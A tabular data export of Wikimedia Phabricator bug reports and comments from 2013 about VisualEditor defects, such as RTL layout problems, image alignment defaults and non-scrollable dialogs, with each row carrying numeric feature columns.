Chrome 28.0.1500.71, OS 10.6.8",,,1375214101,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,8.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.836734693877551,0.8571428571428571,"I have just duplicated this in Thai wikipedia.  Not only does the {{lang-en}} template turn into snowmen, the surrounding text gets rendered into (bolded) English upon saving. 

Diff:URL

Chrome 28.0.1500.71, OS 10.6.8"
249249,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"I quickly tried to reproduce this, and failed.  It might have been fixed by improvements to the code.  It would be good if someone can ask B637pcgt what they did to cause this issue.

jawp still has only a few VE edits per day
https://ja.wikipedia.org/wiki/special:recentchanges?tagfilter=visualeditor&days=30&limit=500",,,1375075266,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,False,,,4,,2.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,11.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,8.0,11.0,6.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.547169811320755,0.8679245283018868,"I quickly tried to reproduce this, and failed.  It might have been fixed by improvements to the code.  It would be good if someone can ask B637pcgt what they did to cause this issue.

jawp still has only a few VE edits per day
URL"
53851,"VisualEditor: By default, images should not set the alignment","The VisualEditor explicitly sets all images that are inserted using the dialog as thumb and right. ""thumb"" is fine, because it's not default, but that's what people want most of the time, but ""right"" shouldn't be there. ""right"" is the default for left-to-right Wikipedias, so it's redundant in English. The default for right-to-left Wikipedias is ""left"", so for these languages this behavior is unexpected.

The best solution is simply not to set the alignment and let the user change if it is needed.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374568080,1374629227.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_description,resolved,True,c1,3,False,False,True,3,,0.5,0.0,0.0,1.5,2.0,6.5,2.0,0.5,0.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,3.5,7.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.5,0.0,10.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,5.0,6.0,2.0,3.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.5,3.0,0.0,4.5,0.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,3.7272727272727275,0.6590909090909091,"The VisualEditor explicitly sets all images that are inserted using the dialog as thumb and right. ""thumb"" is fine, because it's not default, but that's what people want most of the time, but ""right"" shouldn't be there. ""right"" is the default for left-to-right Wikipedias, so it's redundant in English. The default for right-to-left Wikipedias is ""left"", so for these languages this behavior is unexpected.

The best solution is simply not to set the alignment and let the user change if it is needed.

--------------------------
**Version**: unspecified
**Severity**: normal"
247432,"VisualEditor: By default, images should not set the alignment","Change 75526 merged by jenkins-bot:
Image insertion alignment fix

https://gerrit.wikimedia.org/r/75526",,,1374625642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 75526 merged by jenkins-bot:
Image insertion alignment fix

GERRIT_URL"
247429,"VisualEditor: By default, images should not set the alignment","Change 75526 had a related patch set uploaded by Mooeypoo:
Image insertion alignment fix

https://gerrit.wikimedia.org/r/75526",,,1374621278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 75526 had a related patch set uploaded by Mooeypoo:
Image insertion alignment fix

GERRIT_URL"
247426,"VisualEditor: By default, images should not set the alignment",*** Bug 51295 has been marked as a duplicate of this bug. ***,,,1374619928,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51295 has been marked as a duplicate of this bug. ***
247423,"VisualEditor: By default, images should not set the alignment","Unless I'm missing something, just remove if it's the default anyway. See an example:
https://en.wikipedia.org/wiki/User:Amire80/ve_default_image_alignment",,,1374588399,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.619047619047619,1.0,"Unless I'm missing something, just remove if it's the default anyway. See an example:
URL"
247417,"VisualEditor: By default, images should not set the alignment",Should we remove the alignment completely (and risk people not putting one in? what's the potential side-effect of that?) or change the 'right' to 'left' on RTL wikis?,,,1374588063,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,5.0,8.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.825,Should we remove the alignment completely (and risk people not putting one in? what's the potential side-effect of that?) or change the 'right' to 'left' on RTL wikis?
53828,VisualEditor: Autocompletion for template names doesn't work in RTL,"Given that I'm editing an article in an RTL wiki: https://he.wikipedia.org/wiki/ASCII
   And I press the ""Transclude"" button in the toolbar (puzzle piece)
   And I type ""A""
Then I should see a list of autocompletions of templates that start with A

Currently I don't see a list of autocompletions.

This bug is quite similar to Bug 51490.

[This was an experiment with writing bug reports as Cucumber-style test scenarios. Let me know if you don't like it.]

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374514020,1374634378.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lui5vpla74335t6r63nr,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,1.5,2.5,1.5,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,3.5,0.0,3.0,7.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,12.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.0,1.5,13.5,1.5,1.0,5.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,5.0,7.0,3.0,0.0,2.0,0.0,5.0,0.0,0.5,3.0,1.0,1.5,0.0,0.0,1.0,3.6271186440677967,0.711864406779661,"Given that I'm editing an article in an RTL wiki: URL
   And I press the ""Transclude"" button in the toolbar (puzzle piece)
   And I type ""A""
Then I should see a list of autocompletions of templates that start with A

Currently I don't see a list of autocompletions.

This bug is quite similar to Bug 51490.

[This was an experiment with writing bug reports as Cucumber-style test scenarios. Let me know if you don't like it.]

--------------------------
**Version**: unspecified
**Severity**: normal"
246135,VisualEditor: Autocompletion for template names doesn't work in RTL,"Done and will be deployed tomorrow. Thanks, Moriel!",,,1374634378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lui5vpla74335t6r63nr,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Done and will be deployed tomorrow. Thanks, Moriel!"
246130,VisualEditor: Autocompletion for template names doesn't work in RTL,"This bug will be fixed with this patchset: https://gerrit.wikimedia.org/r/#/c/74835/

See also https://bugzilla.wikimedia.org/show_bug.cgi?id=51490",,,1374518346,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-lui5vpla74335t6r63nr,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"This bug will be fixed with this patchset: URL

See also URL"
53819,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"screenshot

When you click an infobox template in an RTL wiki, the puzzle piece icon is supposed to appear somewhere on the transparent blue background to make the template editable.

In an RTL wiki, this template appears outside of the transparent blue area on the other side of the screen.

You can test it with the following article:
https://he.wikipedia.org/wiki/%D7%9C%D7%95%D7%93?veaction=edit

See also the screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11560}",High,80.0,1374510180,1374637806.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.5,1.5,1.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.5,9.0,0.5,0.0,7.5,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.5,5.5,2.0,0.0,0.0,0.0,2.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,3.9607843137254903,0.6274509803921569,"screenshot

When you click an infobox template in an RTL wiki, the puzzle piece icon is supposed to appear somewhere on the transparent blue background to make the template editable.

In an RTL wiki, this template appears outside of the transparent blue area on the other side of the screen.

You can test it with the following article:
URL

See also the screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11560}"
245647,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,Merged and will go out tomorrow.,,,1374637806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Merged and will go out tomorrow.
245641,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"Change 75246 merged by jenkins-bot:
Quickfix for Transclusion icon in RTL wikis

https://gerrit.wikimedia.org/r/75246",,,1374637503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 75246 merged by jenkins-bot:
Quickfix for Transclusion icon in RTL wikis

GERRIT_URL"
245636,VisualEditor: Location of the inspector menu is wrong for floated content in RTL wikis,"Change 75246 had a related patch set uploaded by Mooeypoo:
Quickfix for Transclusion icon in RTL wikis

https://gerrit.wikimedia.org/r/75246",,,1374526607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjhdlfcx4jhz24dn5jl5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 75246 had a related patch set uploaded by Mooeypoo:
Quickfix for Transclusion icon in RTL wikis

GERRIT_URL"
53739,VisualEditor: [Regression] Dialog panels not scrollable,"TempalteData-provided parameter list in template editor is not scrollable.

For example, try adding [[pl:Template:Okręt infobox]] to any article there.

Confirmed on latest versions of Firefox and Opera.

Screenshot: http://i.imgur.com/e3VSqVs.png

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51672",High,80.0,1374316620,1374605597.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jvkszokywziqndkikfj4,task_description,resolved,True,c1,3,True,False,True,2,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,19.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,3.7733333333333334,0.64,"TempalteData-provided parameter list in template editor is not scrollable.

For example, try adding [[pl:Template:Okręt infobox]] to any article there.

Confirmed on latest versions of Firefox and Opera.

Screenshot: URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
240973,VisualEditor: [Regression] Dialog panels not scrollable,Done and will be deployed tomorrow.,,,1374634358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
240969,VisualEditor: [Regression] Dialog panels not scrollable,"Change 74836 merged by jenkins-bot:
Ensure ve-ui-panelLayout-scrollable is actually scrollable

https://gerrit.wikimedia.org/r/74836",,,1374605866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.8181818181818182,"Change 74836 merged by jenkins-bot:
Ensure ve-ui-panelLayout-scrollable is actually scrollable

GERRIT_URL"
240964,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51810 has been marked as a duplicate of this bug. ***,,,1374497316,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51810 has been marked as a duplicate of this bug. ***
240959,VisualEditor: [Regression] Dialog panels not scrollable,Patch by Rillke from bug 51793: https://gerrit.wikimedia.org/r/75083,,,1374489637,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Patch by Rillke from bug 51793: GERRIT_URL
240955,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51793 has been marked as a duplicate of this bug. ***,,,1374489509,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51793 has been marked as a duplicate of this bug. ***
240947,VisualEditor: [Regression] Dialog panels not scrollable,*** Bug 51671 has been marked as a duplicate of this bug. ***,,,1374331143,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51671 has been marked as a duplicate of this bug. ***
240939,VisualEditor: [Regression] Dialog panels not scrollable,"Change 74836 had a related patch set uploaded by Matmarex:
Ensure ve-ui-panelLayout-scrollable is actually scrollable

https://gerrit.wikimedia.org/r/74836",,,1374319290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.64,0.88,"Change 74836 had a related patch set uploaded by Matmarex:
Ensure ve-ui-panelLayout-scrollable is actually scrollable

GERRIT_URL"
